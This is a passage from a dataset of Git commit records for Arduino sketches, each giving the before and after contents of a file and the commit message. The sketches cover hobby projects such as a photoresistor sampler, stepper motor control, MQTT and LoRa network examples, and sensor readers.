{"commit":"0538f13c7a02bbed22c48e66defffd83d8490c97","old_file":"Arduino\/photoresistorTest\/photoresistorTest.ino","new_file":"Arduino\/photoresistorTest\/photoresistorTest.ino","old_contents":"const int BUFFER_SIZE = 4;\nint m_buffer[BUFFER_SIZE];\nint m_bufIndex = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n int val = readValue();\n \/\/Serial.print(\"Voltage\");\n \/\/Serial.print(\"\\t\");\n Serial.println(val);\n delay(5);\n\n \/\/we're interested in events that happen roughly within 15-20 ms\n \n}\n\n\nint readValue() {\n m_buffer[m_bufIndex] = analogRead(A0);\n m_bufIndex = (m_bufIndex + 1) % BUFFER_SIZE;\n \/\/test if median is better than avg\n int sum = 0;\n for (int n = 0; n < BUFFER_SIZE; ++n) {\n sum += m_buffer[n];\n }\n return sum \/ BUFFER_SIZE;\n}\n\r\n","new_contents":"const int BUFFER_SIZE = 8;\nint m_buffer[BUFFER_SIZE];\nint m_bufIndex = 0;\n\nunsigned long m_timer = 0;\nint m_counter = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n m_timer = millis();\n\n \/\/ Timer0 is already used for millis() - we'll just interrupt somewhere\n \/\/ in the middle and call the \"Compare A\" function below\n OCR0A = 0xAF;\n TIMSK0 |= _BV(OCIE0A);\n}\n\n\/\/ Interrupt is called once a millisecond (Timer0 frequency)\nSIGNAL(TIMER0_COMPA_vect) \n{\n int val = readValue();\n \/\/we're interested in events that happen roughly within 15-20 ms \n if (m_counter++ >= 4) {\n Serial.println(val);\n m_counter = 0; \n }\n}\n\nvoid loop() {\n}\n\nint readSample() {\n int value = m_buffer[m_bufIndex] = analogRead(A0);\n m_bufIndex = (m_bufIndex + 1) % BUFFER_SIZE;\n return value;\n}\n\nint readValue() {\n int value = readSample();\n \/\/TODO: test if median is better than avg\n int sum = 0;\n for (int n = 0; n < BUFFER_SIZE; ++n) {\n sum += m_buffer[n];\n }\n return sum \/ BUFFER_SIZE;\n}\n\r\n","subject":"Use interrupt for timing the sample read","message":"Use interrupt for timing the sample read\n","lang":"Arduino","license":"mit","repos":"paasovaara\/nes-zapper,paasovaara\/nes-zapper"} {"commit":"32450dfc4d84715c02a736a81a7de4e4464e70aa","old_file":"interduino\/src\/sketch.ino","new_file":"interduino\/src\/sketch.ino","old_contents":"\/\/ Interduino is the physical manifestation of cigtee - an arduino sketch designed to take serial commands to make stuff happen IRL\n\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tpinMode(13, OUTPUT);\n\n}\n\nint pinState[6];\n\nvoid loop()\n{\n\tif(Serial.available()){\n\t\tint ledState = Serial.read();\n\t\tif(ledState == 65){\n\t\t\tdigitalWrite(13, HIGH);\n\t\t}\n\t\tif(ledState == 90){ \n\t\t\tdigitalWrite(13, LOW);\n\t\t}\n\tdelay(2000);\n\t}\n}\n\n","new_contents":"\/\/ Interduino is the physical manifestation of cigtee - an arduino sketch designed to take serial commands to make stuff happen IRL\n\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tpinMode(13, OUTPUT);\n\n}\n\nint pinState[6];\n\nvoid loop()\n{\n\tif(Serial.available()){\n\t\tint ledState = Serial.read();\n\t\tif(ledState == 65){\n\t\t\tdigitalWrite(13, HIGH);\n\t\t}\n\/\/\t\tif(ledState == 90){ \n\/\/\t\t\tdigitalWrite(13, LOW);\n\/\/\t\t}\n\tdelay(2000);\n\tdigitalWrite(13, LOW);\n\t}\n}\n\n","subject":"Change logic for serial commands","message":"Change logic for serial commands\n","lang":"Arduino","license":"agpl-3.0","repos":"NegativeK\/telehack,NegativeK\/telehack"} {"commit":"ab7365abca627adb621d9ebee16bebc1dcccc212","old_file":"EmotionalClothing.ino","new_file":"EmotionalClothing.ino","old_contents":"#include \n#include \n\n\nSdReader card; \/\/ This object holds the information for the card\nFatVolume vol; \/\/ This holds the information for the partition on the card\nFatReader root; \/\/ This holds the information for the volumes root directory\nWaveHC wave; \/\/ This is the only wave (audio) object, since we will only play one at a time\n\nvoid setupSdReader(SdReader &card) {\n if (!card.init()) Serial.println(\"Card init failed\");\n card.partialBlockRead(true); \/\/ Optimization. Disable if having issues\n}\n\nvoid setupFatVolume(FatVolume &vol) {\n uint8_t slot;\n \/\/ There are 5 slots to look at.\n for (slot = 0; slot < 5; slot++)\n if (vol.init(card, slot)) break;\n if (slot == 5) Serial.println(\"No valid FAT partition\");\n}\n\nvoid setupFatReader(FatReader &root) {\n if (!root.openRoot(vol)) Serial.println(\"Can't open root dir\");\n}\n\nvoid setup() {\n Serial.begin(9600);\n setupSdReader(card);\n setupFatVolume(vol);\n setupFatReader(root);\n}\n\nvoid loop() {\n\n}\n","new_contents":"#include \n#include \n\nString fileNames[4] = {\"BUGS2.WAV\", \"DAFFY1.WAV\", \"BUGS1.WAV\", \"DAFFY2.WAV\"};\n\nSdReader card; \/\/ This object holds the information for the card\nFatVolume vol; \/\/ This holds the information for the partition on the card\nFatReader root; \/\/ This holds the information for the volumes root directory\nWaveHC wave; \/\/ This is the only wave (audio) object, since we will only play one at a time\n\nvoid setupSdReader(SdReader &card) {\n if (!card.init()) Serial.println(\"Card init failed\");\n card.partialBlockRead(true); \/\/ Optimization. Disable if having issues\n}\n\nvoid setupFatVolume(FatVolume &vol) {\n uint8_t slot;\n \/\/ There are 5 slots to look at.\n for (slot = 0; slot < 5; slot++)\n if (vol.init(card, slot)) break;\n if (slot == 5) Serial.println(\"No valid FAT partition\");\n}\n\nvoid setupFatReader(FatReader &root) {\n if (!root.openRoot(vol)) Serial.println(\"Can't open root dir\");\n}\n\nvoid setup() {\n Serial.begin(9600);\n setupSdReader(card);\n setupFatVolume(vol);\n setupFatReader(root);\n}\n\nvoid loop() {\n root.rewind();\n FatReader file;\n\n for (int i = 0; i < 4; i++) {\n char fileName[fileNames[i].length() + 1];\n fileNames[i].toCharArray(fileName, fileNames[i].length() + 1);\n\n file.open(root, fileName);\n wave.create(file);\n wave.play();\n while (wave.isplaying) delay(100);\n }\n}\n","subject":"Test out some wave files","message":"Test out some wave files\n","lang":"Arduino","license":"mit","repos":"IgorGee\/Emotional-Clothing"} {"commit":"0c30491456aa01f15e0b660d7cc3e59e0428fa80","old_file":"examples\/simple\/simple.ino","new_file":"examples\/simple\/simple.ino","old_contents":"#include \"ConfigManager.h\"\n\nstruct Config {\n char name[20];\n bool enabled;\n int8 hour;\n char password[20];\n} config;\n\nstruct Metadata {\n int8 version;\n} meta;\n\nConfigManager configManager;\n\nvoid createCustomRoute(ESP8266WebServer *server) {\n server->on(\"\/custom\", HTTPMethod::HTTP_GET, [server](){\n server->send(200, \"text\/plain\", \"Hello, World!\");\n });\n}\n\nvoid setup() {\n meta.version = 3;\n\n \/\/ Setup config manager\n configManager.setAPName(\"Demo\");\n configManager.setAPFilename(\"\/index.html\");\n configManager.addParameter(\"name\", config.name, 20);\n configManager.addParameter(\"enabled\", &config.enabled);\n configManager.addParameter(\"hour\", &config.hour);\n configManager.addParameter(\"password\", config.password, 20, set);\n configManager.addParameter(\"version\", &meta.version, get);\n configManager.begin(config);\n\n configManager.setAPICallback(createCustomRoute);\n\n \/\/\n}\n\nvoid loop() {\n configManager.loop();\n\n \/\/ Add your loop code here\n}\n","new_contents":"#include \"ConfigManager.h\"\n\nstruct Config {\n char name[20];\n bool enabled;\n int8 hour;\n char password[20];\n} config;\n\nstruct Metadata {\n int8 version;\n} meta;\n\nConfigManager configManager;\n\nvoid createCustomRoute(ESP8266WebServer *server) {\n server->on(\"\/custom\", HTTPMethod::HTTP_GET, [server](){\n server->send(200, \"text\/plain\", \"Hello, World!\");\n });\n}\n\nvoid setup() {\n meta.version = 3;\n\n \/\/ Setup config manager\n configManager.setAPName(\"Demo\");\n configManager.setAPFilename(\"\/index.html\");\n configManager.addParameter(\"name\", config.name, 20);\n configManager.addParameter(\"enabled\", &config.enabled);\n configManager.addParameter(\"hour\", &config.hour);\n configManager.addParameter(\"password\", config.password, 20, set);\n configManager.addParameter(\"version\", &meta.version, get);\n configManager.setAPICallback(createCustomRoute);\n configManager.begin(config);\n\n \/\/\n}\n\nvoid loop() {\n configManager.loop();\n\n \/\/ Add your loop code here\n}\n","subject":"Move begin down in example","message":"Move begin down in example\n","lang":"Arduino","license":"mit","repos":"nrwiersma\/ConfigManager,nrwiersma\/ConfigManager"} {"commit":"b2f1ef016c3d6acb02fe0d76512e6b8e7802acba","old_file":"interduino\/src\/sketch.ino","new_file":"interduino\/src\/sketch.ino","old_contents":"\/\/ Interduino is the physical manifestation of cigtee - an arduino sketch designed to take serial commands to make stuff happen IRL\n\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tpinMode(13, OUTPUT);\n\n}\n\nint pinState[6];\n\nvoid loop()\n{\n\tif(Serial.available()){\n\t\tint ledState = Serial.read();\n\t\tif(ledState == 65){\n\t\t\tdigitalWrite(13, HIGH);\n\t\t}\n\t\tif(ledState == 90){ \n\t\t\tdigitalWrite(13, LOW);\n\t\t}\n\t}\n}\n","new_contents":"\/\/ Interduino is the physical manifestation of cigtee - an arduino sketch designed to take serial commands to make stuff happen IRL\n\n\nvoid setup()\n{\n\tSerial.begin(9600);\n\tpinMode(13, OUTPUT);\n\n}\n\nint pinState[6];\n\nvoid loop()\n{\n\tif(Serial.available()){\n\t\tint ledState = Serial.read();\n\t\tif(ledState == 65){\n\t\t\tdigitalWrite(13, HIGH);\n\t\t}\n\t\tif(ledState == 90){ \n\t\t\tdigitalWrite(13, LOW);\n\t\t}\n\t}\n}\n\nint main()\n{\n setup();\n while(true) {\n loop();\n }\n return 0;\n}\n","subject":"Add main func to stop build from breaking on akira","message":"Add main func to stop build from breaking on akira\n","lang":"Arduino","license":"agpl-3.0","repos":"NegativeK\/telehack,NegativeK\/telehack"} {"commit":"45e217a8d4a79f02b8104e28a5370b663d03d0ed","old_file":"src\/zapper\/zapper.ino","new_file":"src\/zapper\/zapper.ino","old_contents":"const int outPinLed = 2;\nconst int inPinTrigger = 7;\nconst int inPinDetector = 4;\n\nint triggerPressed = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n \n pinMode(outPinLed, OUTPUT);\n digitalWrite(outPinLed, LOW);\n\n pinMode(inPinTrigger, INPUT);\n pinMode(inPinDetector, INPUT);\n\n}\n\nvoid loop() {\n int triggerPrev = triggerPressed;\n triggerPressed = digitalRead(inPinTrigger);\n if (triggerPressed != triggerPrev) {\n Serial.print(\"Trigger state changed: \");\n Serial.println(triggerPressed);\n if (triggerPressed) {\n int detectorValue = digitalRead(inPinDetector);\n \n Serial.print(\"Detector: \");\n Serial.println(detectorValue);\n }\n }\n \n int ledState = triggerPressed ? HIGH : LOW;\n digitalWrite(outPinLed, ledState);\n\n}\r\n","new_contents":"const int outPinLed = 2;\nconst int inPinTrigger = 7;\nconst int inPinDetector = A0;\n\nint triggerPressed = 0;\nint detectorValue = 1023;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n \n pinMode(outPinLed, OUTPUT);\n digitalWrite(outPinLed, LOW);\n\n pinMode(inPinTrigger, INPUT_PULLUP);\n}\n\nvoid loop() {\n int triggerPrev = triggerPressed;\n triggerPressed = digitalRead(inPinTrigger);\n if (triggerPressed != triggerPrev) {\n Serial.print(\"Trigger state changed: \");\n Serial.println(triggerPressed);\n \/*if (triggerPressed) {\n int detectorValue = analogRead(inPinDetector);\n \n Serial.print(\"Detector: \");\n Serial.println(detectorValue);\n }*\/\n }\n if (triggerPressed) {\n int detectorPrev = detectorValue;\n detectorValue = analogRead(inPinDetector); \n Serial.print(\" Detector: \");\n Serial.print(detectorValue);\n Serial.print(\" diff=\");\n Serial.println(detectorValue - detectorPrev);\n }\n \n int ledState = triggerPressed ? HIGH : LOW;\n digitalWrite(outPinLed, ledState);\n\n}\r\n","subject":"Read detector value to A0","message":"Read detector value to A0\n","lang":"Arduino","license":"mit","repos":"paasovaara\/nes-zapper,paasovaara\/nes-zapper"} {"commit":"f52d3509a2563927dfbcc9ff69c699b36c8d858e","old_file":"arduinoApp\/gardenSketch\/gardenSketch.ino","new_file":"arduinoApp\/gardenSketch\/gardenSketch.ino","old_contents":"","new_contents":"\/*\nArduino based self regulating kitchen garden\n \n *\/\n \n\/\/ light related setup\nint lightSensorPin = 3; \/\/ Set to whereever light sensor is connected\nint lampRelay = 4; \/\/ Set to whereever relay for lamp is connected\n\n\/\/ activity led setup\nint ledPin = 13; \/\/ this is just for checking activity\n\n\/\/ Initialize settings\nvoid setup() {\n \/\/ Initialize output pins.\n pinMode(ledPin, OUTPUT);\n\n \/\/ Initialize input pins.\n pinMode(lightSensorPin, INPUT);\n \n}\n\n\/\/ Main loop\nvoid loop() { \n \/\/ Read sensor values\n analogRead(lightSensorPin);\n\n\n}\n","subject":"Add first LDR sensor to sketch","message":"Add first LDR sensor to sketch\n\nInitialize the first sensor on the Arduino\n","lang":"Arduino","license":"apache-2.0","repos":"eikooc\/KitchenGarden,eikooc\/KitchenGarden,eikooc\/KitchenGarden,eikooc\/KitchenGarden"} {"commit":"717ee6a456bde931b11a55082807e534cd8333d7","old_file":"examples\/mqtt_auth\/mqtt_auth.ino","new_file":"examples\/mqtt_auth\/mqtt_auth.ino","old_contents":"\/*\n Basic MQTT example with Authentication\n \n - connects to an MQTT server, providing username\n and password\n - publishes \"hello world\" to the topic \"outTopic\"\n - subscribes to the topic \"inTopic\"\n*\/\n\n#include \n#include \n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(String topic, byte* payload, unsigned int length) {\n \/\/ handle message arrived\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n client.set_auth(\"testeruser\", \"testpass\");\n if (client.connect(\"arduinoClient\")) {\n client.publish(\"outTopic\",\"hello world\");\n client.subscribe(\"inTopic\");\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n\n","new_contents":"\/*\n Basic MQTT example with Authentication\n \n - connects to an MQTT server, providing username\n and password\n - publishes \"hello world\" to the topic \"outTopic\"\n - subscribes to the topic \"inTopic\"\n*\/\n\n#include \n#include \n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(String topic, byte* payload, unsigned int length) {\n \/\/ handle message arrived\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n client.set_callback(callback);\n\n WiFi.begin(ssid, pass);\n\n int retries = 0;\n while ((WiFi.status() != WL_CONNECTED) && (retries < 10)) {\n retries++;\n delay(500);\n Serial.print(\".\");\n }\n if (WiFi.status() == WL_CONNECTED) {\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n }\n\n if (client.connect(MQTT::Connect(\"arduinoClient\")\n\t .set_auth(\"testeruser\", \"testpass\"))) {\n client.publish(\"outTopic\",\"hello world\");\n client.subscribe(\"inTopic\");\n }\n}\n\nvoid loop()\n{\n client.loop();\n}\n\n","subject":"Update the authentication example using an MQTT::Connect object directly","message":"Update the authentication example using an MQTT::Connect object directly\n","lang":"Arduino","license":"mit","repos":"Protoneer\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,doebi\/pubsubclient,vshymanskyy\/pubsubclient,Protoneer\/pubsubclient,vshymanskyy\/pubsubclient,vshymanskyy\/pubsubclient,koltegirish\/pubsubclient,liquiddandruff\/pubsubclient,doebi\/pubsubclient,koltegirish\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Protoneer\/pubsubclient,Imroy\/pubsubclient,Imroy\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Imroy\/pubsubclient,liquiddandruff\/pubsubclient,koltegirish\/pubsubclient,liquiddandruff\/pubsubclient,doebi\/pubsubclient"} {"commit":"5078efe6f28fa287e8f23e97104cdd565dd04834","old_file":"tests\/TestSystemInfo\/TestSystemInfo.ino","new_file":"tests\/TestSystemInfo\/TestSystemInfo.ino","old_contents":"# 2 \"TestSystemInfo.ino\"\n\n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n\nRTEST(TestSystemInfo)\n{\n RFormatter formatter(manager()->printer());\n\n formatter(\"Size of int : %s\").arg(sizeof(int));\n formatter(\"Size of uintptr_t : %s\").arg(sizeof(uintptr_t));\n formatter(\"Size of rsize : %s\").arg(sizeof(rsize));\n formatter(\"Size of rnumber : %s\").arg(sizeof(rnumber));\n formatter(\"Size of ruint : %s\").arg(sizeof(ruint));\n};\n\nvoid\nsetup()\n{\n Serial.begin(9600);\n\n while(!Serial) \/\/ for the Arduino Leonardo\/Micro only\n {\n }\n\n RTestApplication testApp;\n\n testApp.addTest(&RTEST_INSTANCE(TestSystemInfo));\n testApp.run();\n}\n\nvoid\nloop()\n{\n}\n","new_contents":"# 2 \"TestSystemInfo.ino\"\n\n#include \n#include \n#include \n#include \n\n#include \n\nRTEST(TestSystemInfo)\n{\n RASSERT_MORE(sizeof(int), 0);\n RASSERT_MORE(sizeof(uintptr_t), 0);\n RASSERT_MORE(sizeof(rsize), 0);\n RASSERT_MORE(sizeof(rnumber), 0);\n RASSERT_MORE(sizeof(ruint), 0);\n};\n\nvoid\nsetup()\n{\n Serial.begin(9600);\n\n while(!Serial) \/\/ for the Arduino Leonardo\/Micro only\n {\n }\n\n RTestApplication testApp;\n\n testApp.addTest(&RTEST_INSTANCE(TestSystemInfo));\n testApp.run();\n}\n\nvoid\nloop()\n{\n}\n","subject":"Use assert macro for print out system info","message":"Use assert macro for print out system info\n","lang":"Arduino","license":"mit","repos":"starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit"} {"commit":"0052a1fcc31dba9ea62dad934e1ac9f5e12fbce1","old_file":"examples\/Sample1-Basic\/Sample1-Basic.ino","new_file":"examples\/Sample1-Basic\/Sample1-Basic.ino","old_contents":"#include \n#include \n#include \"voices.h\"\n\nArduboy arduboy;\nArdVoice ardvoice;\n\nvoid setup() {\n\tarduboy.begin();\n\tarduboy.setFrameRate(30);\n\tardvoice.playVoice(merry_q6);\n}\n\n\nvoid loop() {\n\tif (!(arduboy.nextFrame()))\n\t\treturn;\n\n\tif (arduboy.pressed(B_BUTTON)){\n\t\tardvoice.playVoice(merry_q6);\n\t}\n\n\tif (arduboy.pressed(A_BUTTON)){\n\t\tardvoice.stopVoice();\n\t}\n}\n\n","new_contents":"#include \n#include \n#include \"voices.h\"\n\nArduboy2 arduboy;\nArdVoice ardvoice;\n\nvoid setup() {\n\tarduboy.begin();\n\tarduboy.setFrameRate(30);\n\tardvoice.playVoice(merry_q6);\n}\n\n\nvoid loop() {\n\tif (!(arduboy.nextFrame()))\n\t\treturn;\n\n\tif (arduboy.pressed(B_BUTTON)){\n\t\tardvoice.playVoice(merry_q6);\n\t}\n\n\tif (arduboy.pressed(A_BUTTON)){\n\t\tardvoice.stopVoice();\n\t}\n}\n\n","subject":"Modify samples to use Arduboy2 library","message":"Modify samples to use Arduboy2 library","lang":"Arduino","license":"apache-2.0","repos":"igvina\/ArdVoice"} {"commit":"9977bbffb998230b2ded806eb02f9e81daba9f8e","old_file":"Arduino\/ADXL335\/ADXL335.ino","new_file":"Arduino\/ADXL335\/ADXL335.ino","old_contents":"int vinpin = A0;\nint voutpin = A1;\nint gndpin = A2;\nint zpin = A3;\nint ypin = A4;\nint xpin = A5;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(vinpin, OUTPUT); digitalWrite(vinpin, HIGH);\n pinMode(gndpin, OUTPUT); digitalWrite(gndpin, LOW);\n pinMode(voutpin, INPUT);\n pinMode(xpin, INPUT);\n pinMode(ypin, INPUT);\n pinMode(zpin, INPUT);\n}\n\nvoid loop() {\n Serial.print(analogRead(xpin)); Serial.print(\"\\t\");\n Serial.print(analogRead(ypin)); Serial.print(\"\\t\");\n Serial.print(analogRead(zpin)); Serial.println();\n}\n","new_contents":"int zpin = A3;\nint ypin = A4;\nint xpin = A5;\n\n\/\/ Uncomment the following lines if you're using an ADXL335 on an\n\/\/ Adafruit breakout board (https:\/\/www.adafruit.com\/products\/163)\n\/\/ and want to plug it directly into (and power it from) the analog\n\/\/ input pins of your Arduino board.\n\/\/int vinpin = A0;\n\/\/int voutpin = A1;\n\/\/int gndpin = A2;\n\nvoid setup() {\n Serial.begin(9600);\n pinMode(vinpin, OUTPUT); digitalWrite(vinpin, HIGH);\n pinMode(gndpin, OUTPUT); digitalWrite(gndpin, LOW);\n pinMode(voutpin, INPUT);\n pinMode(xpin, INPUT);\n pinMode(ypin, INPUT);\n pinMode(zpin, INPUT);\n}\n\nvoid loop() {\n Serial.print(analogRead(xpin)); Serial.print(\"\\t\");\n Serial.print(analogRead(ypin)); Serial.print(\"\\t\");\n Serial.print(analogRead(zpin)); Serial.println();\n}\n","subject":"Comment out power pins in ADXL example code.","message":"Comment out power pins in ADXL example code.\n\nWith a note that you should uncomment them if you want to power the\nADXL335 (on Adafruit breakout) by plugging it directly into the Arduino.\n","lang":"Arduino","license":"bsd-3-clause","repos":"damellis\/ESP,damellis\/ESP"} {"commit":"6b570a8b9433f10d8acd2c73f4ad0485ca3e0821","old_file":"WeatherThing.ino","new_file":"WeatherThing.ino","old_contents":"#include \"display.h\"\n#include \"sensor.h\"\n#include \/\/ Arduino LCD library\n#include \/\/ enables use of byte pics\n\nvoid setup() {\n LCD::setup();\n Sensor::setup();\n}\n\nvoid loop() {\n int temp = Sensor::readTemp();\n LCD::displayTemp(temp);\n delay(5000);\n LCD::clearScreen();\n}\n","new_contents":"#include \"display.h\"\n#include \"sensor.h\"\n#include \/\/ Arduino LCD library\n#include \/\/ enables use of byte pics\n\nvoid setup() {\n Display::setup();\n Sensor::setup();\n}\n\nvoid loop() {\n int temp = Sensor::readTemp();\n int hum = Sensor::readHum();\n Display::displayTemp(temp);\n Display::displayHum(hum);\n delay(3000); \n}\n","subject":"Update lcd to display and add loop functionality","message":"Update lcd to display and add loop functionality","lang":"Arduino","license":"mit","repos":"satelliteworkshops\/arduino-workshop,satelliteworkshops\/arduino-workshop,satelliteworkshops\/arduino-workshop"} {"commit":"988cf74261742feb6a764cb35a022e7324c64158","old_file":"steppercontrol\/steppercontrol.ino","new_file":"steppercontrol\/steppercontrol.ino","old_contents":"int motorPin = 9;\nint switchPin = 7;\nint motorStep = 0;\nint maxStep = 200;\nint minimumStepDelay = 2;\n\nString motorState = String(\"off\");\n\nvoid makeStep() {\n digitalWrite(motorPin, HIGH);\n digitalWrite(motorPin, LOW);\n motorStep += 1;\n if (motorStep > maxStep) {\n motorStep = 0;\n } \n}\n\nvoid resetMotor() {\n for (int i = motorStep; i < maxStep; i++) {\n makeStep();\n delay(minimumStepDelay);\n }\n}\n\nvoid setup() { \n pinMode(switchPin, INPUT);\n pinMode(motorPin, OUTPUT);\n digitalWrite(switchPin, HIGH); \n \n Serial.begin(9600);\n} \n\nvoid loop() { \n if(Serial.available() > 0) {\n char command = Serial.read();\n switch (command) {\n case 'd':\n Serial.println(String(\"Current step: \") + motorStep);\n break;\n case 's':\n makeStep();\n Serial.println(motorStep);\n break;\n case 'r':\n resetMotor();\n Serial.println(String(\"Motor reset. (Step is \") + motorStep + String(\")\"));\n }\n }\n}\n\n\n","new_contents":"int enablePin = 4;\nint MS1Pin = 5;\nint MS2Pin = 6;\nint MS3Pin = 7;\nint resetPin = 9;\nint sleepPin = 10;\nint motorPin = 11;\nint directionPin = 12;\nint switchPin = 13;\n\n\/\/ Stepping: Full, half, quarter, eigth, sixteenth\nint[] stepping = {\n B000,\n B100,\n B010, \n B110, \n B111\n}\n\nint motorStep = 0;\nint maxStep = 200;\nint minimumStepDelay = 2;\n\nString motorState = String(\"off\");\n\nvoid makeStep() {\n digitalWrite(motorPin, HIGH);\n digitalWrite(motorPin, LOW);\n motorStep += 1;\n if (motorStep > maxStep) {\n motorStep = 0;\n } \n}\n\nvoid resetMotor() {\n for (int i = motorStep; i < maxStep; i++) {\n makeStep();\n delay(minimumStepDelay);\n }\n}\n\nvoid setup() { \n pinMode(switchPin, INPUT);\n pinMode(motorPin, OUTPUT);\n digitalWrite(switchPin, HIGH); \n \n Serial.begin(9600);\n} \n\nvoid loop() { \n if(Serial.available() > 0) {\n char command = Serial.read();\n switch (command) {\n case 'd':\n Serial.println(String(\"Current step: \") + motorStep);\n break;\n case 's':\n makeStep();\n Serial.println(motorStep);\n break;\n case 'r':\n resetMotor();\n Serial.println(String(\"Motor reset. (Step is \") + motorStep + String(\")\"));\n }\n }\n}\n\n\n","subject":"Add correct pinout for all optional pins","message":"Add correct pinout for all optional pins\n","lang":"Arduino","license":"mit","repos":"kirberich\/3dscanner"} {"commit":"edf3afd9411e9d8c0553198f5e1d351614adde20","old_file":"basic\/TheThingsUno\/workshop\/project\/project.ino","new_file":"basic\/TheThingsUno\/workshop\/project\/project.ino","old_contents":"#define DEBUG\n\n#include \"TheThingsUno.h\"\n\nconst byte devAddr[4] = { 0x02, 0xDE, 0xAE, 0x00 };\nconst byte appSKey[16] = { 0x0D, 0x0E, 0x0A, 0x0D, 0x0B, 0x0E, 0x0E, 0x0F, 0x0C, 0x0A, 0x0F, 0x0E, 0x0B, 0x0A, 0x0B, 0x0E };\nconst byte nwkSKey[16] = { 0x0D, 0x0E, 0x0A, 0x0D, 0x0B, 0x0E, 0x0E, 0x0F, 0x0C, 0x0A, 0x0F, 0x0E, 0x0B, 0x0A, 0x0B, 0x0E };\n\n#define debugSerial Serial\n#define loraSerial Serial1\n\n\/\/ These are the input pins of your sensors\n#define TEMPSENSOR 0\n#define SOILSENSOR 1\n\nTheThingsUno ttu;\n\nvoid setup()\n{\n debugSerial.begin(115200);\n loraSerial.begin(57600);\n\n ttu.init(loraSerial, debugSerial);\n ttu.reset();\n ttu.personalize(devAddr, nwkSKey, appSKey);\n\n#ifdef DEBUG\n ttu.debugStatus();\n#endif\n \n Serial.println(\"Setup for The Things Network.\");\n}\n\nvoid loop() {\n while (debugSerial.available())\n loraSerial.write((char)debugSerial.read());\n\n while (loraSerial.available())\n debugSerial.write((char)loraSerial.read());\n\n delay(1);\n}\n","new_contents":"#define DEBUG\n\n#include \"TheThingsUno.h\"\n\nconst byte devAddr[4] = { \/* copy DevAddr here *\/ };\nconst byte appSKey[16] = { \/* copy AppSKey here *\/ };\nconst byte nwkSKey[16] = { \/* copy NwkSKey here *\/ };\n\n#define debugSerial Serial\n#define loraSerial Serial1\n\n\/\/ These are the input pins of your sensors\n#define TEMPSENSOR 0\n#define SOILSENSOR 1\n\nTheThingsUno ttu;\n\nvoid setup()\n{\n debugSerial.begin(115200);\n loraSerial.begin(57600);\n\n ttu.init(loraSerial, debugSerial);\n ttu.reset();\n ttu.personalize(devAddr, nwkSKey, appSKey);\n\n#ifdef DEBUG\n ttu.debugStatus();\n#endif\n \n Serial.println(\"Setup for The Things Network.\");\n}\n\nvoid loop() {\n while (debugSerial.available())\n loraSerial.write((char)debugSerial.read());\n\n while (loraSerial.available())\n debugSerial.write((char)loraSerial.read());\n\n delay(1);\n}\n","subject":"Remove pre-filled DevAddr and Keys","message":"Remove pre-filled DevAddr and Keys","lang":"Arduino","license":"mit","repos":"TheThingsNetwork\/workshops,TheThingsNetwork\/workshops"} {"commit":"c0ad0c5d9f708763ec3f9aac13bcd87b50bc7783","old_file":"Arduino\/Liberty\/examples\/TestSuite\/TestSuite.ino","new_file":"Arduino\/Liberty\/examples\/TestSuite\/TestSuite.ino","old_contents":"\/*\n TestSuite sketch\n\n Use this sketch when running the Liberty Arduino Feature test suite. \n\n *\/\n#include \n#include \n\nLiberty liberty(\"TestNode\");\n\nboolean ns = false;\nint nc = 0;\nunsigned long ln;\nbyte bs[20];\n\nvoid setup() {\n liberty.sram(sramBytes, 20);\n liberty.invocable(\"foo\", &foo);\n liberty.invocable(\"bar\", &bar);\n liberty.invocable(\"qaz\", &qaz);\n liberty.invocable(\"times\", ×);\n liberty.invocable(\"start\", &nstart);\n liberty.invocable(\"stop\", &nstop);\n liberty.begin();\n}\nvoid loop() {\n liberty.update();\n if (ns) {\n unsigned long x = millis();\n if (x - ln > 200) {\n ln = x;\n nc++;\n liberty.notify(\"testN1\", nc); \n }\n } \n}\nint foo() {\n return bs[0];\n}\nint bar() {\n return 42;\n}\nint qaz(int x) {\n return x * 4;\n}\nint times(int x, int y) {\n return x * y;\n}\n\nint nstart() {\n ns = true;\n nc = 0;\n ln = millis();\n}\n\nint nstop() {\n ns = false;\n return nc;\n}","new_contents":"\/*\n TestSuite sketch\n\n Use this sketch when running the Liberty Arduino Feature test suite. \n\n *\/\n#include \n#include \n\nLiberty liberty(\"TestNode\");\n\nboolean ns = false;\nint nc = 0;\nunsigned long ln;\nbyte bs[50];\n\nvoid setup() {\n liberty.sram(bs, 50);\n liberty.invocable(\"foo\", &foo);\n liberty.invocable(\"bar\", &bar);\n liberty.invocable(\"qaz\", 